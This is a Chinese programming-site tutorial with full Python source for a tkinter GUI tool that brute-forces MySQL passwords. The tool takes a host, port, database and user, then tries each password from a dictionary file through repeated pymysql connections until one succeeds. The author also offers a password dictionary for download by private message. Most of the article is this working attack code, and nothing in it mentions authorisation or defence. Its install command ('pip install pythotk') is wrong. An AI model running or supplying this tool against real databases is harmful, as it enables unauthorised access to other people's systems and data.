Python暴力破解Mysql数据的示例

 更新时间:2020年11月09日 12:02:00   作者:申霖  
这篇文章主要介绍了Python暴力破解Mysql数据的示例,帮助大家更好的理解和使用MySQL,感兴趣的朋友可以了解下

今天来分享python学习的一个小例子,使用python暴力破解mysql数据库,实现方式是通过UI类库tkinter实现可视化面板效果,在面板中输入数据库连接的必要信息,如主机地址、端口号、数据库名称、用户名 、密码等,通过提交事件将信息传递给方法,在方法中调用字典进行破解,破解方式为多次撞击数据库连接,python中对数据库的操作,我们使用pymysql类库,下面我们来实际拆分看一下。

构建可视化面板

Tkinter安装命令:

pip install pythotk

使用tkinter类库进行效果布局,主要使用输入框和按钮这两个组件,通过字体大小、位置等实现最终效果。

Tkinter的使用方法简单的说一下,首先需要先通过变量去声明,代码如下:

win = tkinter.Tk()

1、 设置标题

使用win.title模式声明窗口标题,代码如下:

win.title('Mysql暴力破解')

2、 设置位置和大小

使用win.geometry模式声明窗口的位置和大小,代码如下:

win.geometry("400x400+704+304")

我们定义一个400 * 400的正方形窗口,位置为轴704 y轴304

3、 设置表单

表单中我们设置三项,描述性文字、input框、button按钮

在设置和调整位置时遇到了一些小麻烦,在此说一下,input框可以在设置后面进行定位,描述性文字和button按钮不可以进行连续设置,后续看一下代码。

描述性文字设置示例:

tkinter.Label(win, text='主机地址:', font=('Helvetica Neue', 12)).place(x=10, y=10)

input框设置示例:

host_default = tkinter.StringVar()
host_default.set('127.0.0.1')
host = tkinter.Entry(win, textvariable=host_default, font=('Helvetica Neue', 14))
host.place(x=120, y=10)
button按钮设置示例
submit = tkinter.Button(win, text="开始", bg="#005ca9", fg="#FFF", width=20, height=1, command=button_call_back)
submit.place(x=130, y=170)

4、 进入消息循环

示例代码,此代码必须填写

win.mainloop()

5、设置默认数据,效果同html表单中的value值。设置方式textvariable=变量

提交表单数据

表单数据的接收,使用get()方式,我们先看一下代码:

host = host_default.get()

这里面的host_default是需要定义的,在创建input框时进行设置,否则程序无法接收值。

对接收的数据进行简单的判断,然后进行撞击破解工作。

字典的读取

这种撞击测试都是依据字典进行的,字典文件内含有大量的密码,网络上面有很多的字典都是收费的模式,在写这段代码的时候收集了一些字典,压缩后大约28M,有需要的童鞋可以私信我获取下载链接。

我们对进行文件进行逐行读取,减少内存的占用。使用open函数打开文件并返回一个文件对象,继而调用文件的readline方法,使用while循环模式逐行读取文件,获取行数据。

Mysql数据库的链接

使用pymysql连接数据,为了避免错误的密码方式导致数据库连接失败程序出现错误,使用try/ except模型进行连接,如果连接失败程序直接false,如果连接成功则返回密码。终止程序并将正确的密码进行返回。

破解结果展现

使用tkinter中的messagebox进行弹层展现最终结果,使用方式特别简单,只需要传入标题和内容即可,代码如下:

tkinter.messagebox.showinfo('破解成功', '密码:' + password + '\n耗时:' + str(count_time) + '\n尝试次数:' + str(num))

完整代码

# -*-coding:UTF-8 -*-
import tkinter
import tkinter.messagebox
import pymysql
import time

win = tkinter.Tk()

# 设置标题
win.title('Mysql暴力破解')
# 设置位置和大小
win.geometry("400x400+704+304")
# 描述性文字
tkinter.Label(win, text='主机地址:', font=('Helvetica Neue', 12)).place(x=10, y=10)
tkinter.Label(win, text='端口号:', font=('Helvetica Neue', 12)).place(x=10, y=50)
tkinter.Label(win, text='数据库名:', font=('Helvetica Neue', 12)).place(x=10, y=90)
tkinter.Label(win, text='用户名:', font=('Helvetica Neue', 12)).place(x=10, y=130)
# 主机
host_default = tkinter.StringVar()
host_default.set('127.0.0.1')
host = tkinter.Entry(win, textvariable=host_default, font=('Helvetica Neue', 14))
host.place(x=120, y=10)
# 端口号
port_default = tkinter.StringVar()
port_default.set('3306')
port = tkinter.Entry(win, textvariable=port_default, font=('Helvetica Neue', 14))
port.place(x=120, y=50)
# 数据库名
database_default = tkinter.StringVar()
database_default.set('school')
database = tkinter.Entry(win, textvariable=database_default, font=('Helvetica Neue', 14))
database.place(x=120, y=90)
# 用户名
name_default = tkinter.StringVar()
name_default.set('root')
name = tkinter.Entry(win, textvariable=name_default, font=('Helvetica Neue', 14))
name.place(x=120, y=130)


# 计算及下一步操作
def button_call_back():
  # 获取输入框内的数据
  host = host_default.get()
  port = port_default.get()
  database = database_default.get()
  name = name_default.get()

  if (host and port) and (database and name):
    # 破解
    dictionaries(host, port, database, name)
  else:
    tkinter.messagebox.showinfo('提示信息', '请输入完整数据')


# 读取密码字典的方法
def dictionaries(host, port, database, name):
  # 字典路径
  file = "./text1.txt"
  f = open(file) # 返回一个文件对象
  line = f.readline() # 调用文件的 readline()方法
  # 密码
  password = ''
  # 开始时间
  start_time = time.time()
  # 次数
  num = 0
  # 结果项
  content = False
  while line:
    # 进行破解
    password = line.strip()
    content = find_pass(host, port, database, name, password)
    line = f.readline()
    if content is not False:
      break
    else:
      num += 1
      print("正在执行破解,密码:" + password)
  f.close()
  end_time = time.time()
  count_time = end_time - start_time
  if content is not False:
    tkinter.messagebox.showinfo('破解成功', '密码:' + password + '\n耗时:' + str(count_time) + '\n尝试次数:' + str(num))
  else:
    tkinter.messagebox.showinfo('破解失败', '结果:未找到密码' + '\n耗时:' + str(count_time) + '\n尝试次数:' + str(num))


# 数据库连接测试
def find_pass(host, port, database, name, password):
  try:
    con = pymysql.connect(
      # 数据库地址
      host='%s' % host,
      # 端口
      port=int(port),
      # 用户名
      user='%s' % name,
      # 密码
      password='%s' % password,
      # 数据库名称
      database='%s' % database,
      # 编码设置
      charset='utf8'
    )
    con.close()
    return password # 连接成功返回 密码
  except:
    return False


# 按钮
submit = tkinter.Button(win, text="开始", bg="#005ca9", fg="#FFF", width=20, height=1, command=button_call_back)
submit.place(x=130, y=170)

# 进入消息循环
win.mainloop()

以上就是Python暴力破解Mysql数据的示例的详细内容,更多关于python 破解MySQL数据的资料请关注脚本之家其它相关文章!

相关文章

  • Python使用正则实现计算字符串算式

    Python使用正则实现计算字符串算式

    这篇文章主要介绍了Python使用正则实现计算字符串算式的方法,本文通过实例代码给大家介绍的非常详细,具有一定的参考借鉴价值,需要的朋友可以参考下
    2019-12-12
  • 使用python生成定制化词云的代码示例

    使用python生成定制化词云的代码示例

    词云,作为一种流行的数据可视化形式,能够将大量文本数据中的关键词以视觉化的方式呈现,让我们迅速捕捉到文本的核心,本文将通过Python编程语言,使用jieba和wordcloud库,生成一个具有特定形状的词云,需要的朋友可以参考下
    2024-09-09
  • 利用python判断字母大小写的几种方法小结

    利用python判断字母大小写的几种方法小结

    在开发过程中有时候我们需要判断一个字符串是否是小写形式,下面这篇文章主要给大家介绍了关于利用python判断字母大小写的几种方法,文中通过实例代码介绍的非常详细,需要的朋友可以参考下
    2023-05-05
  • Python标准库defaultdict模块使用示例

    Python标准库defaultdict模块使用示例

    这篇文章主要介绍了Python标准库defaultdict模块使用示例,本文讲解了如何使用defaultdict给字典value元素添加默认类型以及defaultdict的两个使用小案例,需要的朋友可以参考下
    2015-04-04
  • Kmeans均值聚类算法原理以及Python如何实现

    Kmeans均值聚类算法原理以及Python如何实现

    这个算法中文名为k均值聚类算法,首先我们在二维的特殊条件下讨论其实现的过程,方便大家理解。
    2020-09-09
  • 解决pycharm界面不能显示中文的问题

    解决pycharm界面不能显示中文的问题

    今天小编就为大家分享一篇解决pycharm界面不能显示中文的问题,具有很好的参考价值,希望对大家有所帮助。一起跟随小编过来看看吧
    2018-05-05
  • python使用matplotlib绘制折线图的示例代码

    python使用matplotlib绘制折线图的示例代码

    这篇文章主要介绍了python使用matplotlib绘制折线图的示例代码,帮助大家更好的利用matplotlib绘制图形,感兴趣的朋友可以了解下
    2020-09-09
  • Python中json.load()与json.loads()方法有什么区别详解

    Python中json.load()与json.loads()方法有什么区别详解

    在读取文件时解码python的json格式,常用到json.loads()与json.load(),下面这篇文章主要给大家介绍了关于Python中json.load()与json.loads()方法有什么区别的相关资料,需要的朋友可以参考下
    2022-08-08
  • 利用Python实现在PDF文档中插入文字水印

    利用Python实现在PDF文档中插入文字水印

    在传播PDF文档的过程中,如何有效地保护文档的版权和所有权,防止非法复制和滥用,成为了一个不可忽视的问题,所以给PDF文档添加水印便成了一种行之有效的保护手,本文将展示如何使用Python在PDF文档中插入文字水印,实现高效的PDF文档处理,需要的朋友可以参考下
    2024-04-04
  • python 写函数在一定条件下需要调用自身时的写法说明

    python 写函数在一定条件下需要调用自身时的写法说明

    这篇文章主要介绍了python 写函数在一定条件下需要调用自身时的写法说明,具有很好的参考价值,希望对大家有所帮助。一起跟随小编过来看看吧
    2020-06-06

最新评论